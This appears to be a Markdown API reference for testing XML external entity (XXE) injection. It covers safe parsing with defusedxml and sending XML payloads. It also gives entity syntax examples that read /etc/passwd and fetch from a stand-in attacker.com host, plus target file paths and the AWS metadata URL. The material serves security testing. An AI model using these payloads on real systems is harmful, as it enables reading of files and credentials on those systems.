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mukul975
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Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
69 lines
2.1 KiB
Markdown
69 lines
2.1 KiB
Markdown
# API Reference: Testing for XXE Injection Vulnerabilities
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## defusedxml Library (Safe Parsing)
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### Installation
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```bash
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pip install defusedxml
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```
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### Safe Parsing
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```python
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import defusedxml.ElementTree as ET
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# Blocks external entities, DTD processing, entity expansion
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tree = ET.fromstring(xml_string)
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```
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Protections enabled by default:
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- `forbid_dtd`: Blocks DOCTYPE declarations
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- `forbid_entities`: Blocks entity definitions
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- `forbid_external`: Blocks SYSTEM/PUBLIC entities
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## requests Library (XXE Testing)
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### Sending XML Payloads
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```python
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headers = {"Content-Type": "application/xml"}
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resp = requests.post(url, headers=headers, data=xxe_payload)
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```
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## XXE Payload Types
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| Type | Description | Detection |
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|------|-------------|-----------|
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| Classic (in-band) | Entity value in response | Check for file contents |
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| Blind (OOB HTTP) | Entity triggers HTTP callback | Monitor callback server |
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| Blind (OOB DNS) | Entity triggers DNS lookup | Monitor DNS server |
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| Parameter entity | Uses `%entity;` in DTD | Check callback server |
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| PHP filter | Base64 encodes file content | Decode base64 in response |
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| SSRF via XXE | Access internal URLs | Check for metadata/internal data |
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## XXE Entity Syntax
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```xml
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<!-- Internal entity -->
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<!ENTITY name "value">
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<!-- External entity (file read) -->
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<!ENTITY xxe SYSTEM "file:///etc/passwd">
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<!-- External entity (HTTP) -->
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<!ENTITY xxe SYSTEM "http://attacker.com/callback">
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<!-- Parameter entity (used in DTD) -->
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<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
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%xxe;
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```
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## File Paths for Testing
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| OS | File | Content Indicator |
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|----|------|-------------------|
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| Linux | `/etc/passwd` | `root:x:0:0` |
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| Linux | `/etc/hostname` | hostname string |
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| Windows | `c:/windows/win.ini` | `[fonts]` |
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| AWS | `http://169.254.169.254/latest/meta-data/` | `ami-id` |
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## References
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- defusedxml: https://github.com/tiran/defusedxml
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- OWASP XXE Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
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- PortSwigger XXE: https://portswigger.net/web-security/xxe
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- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
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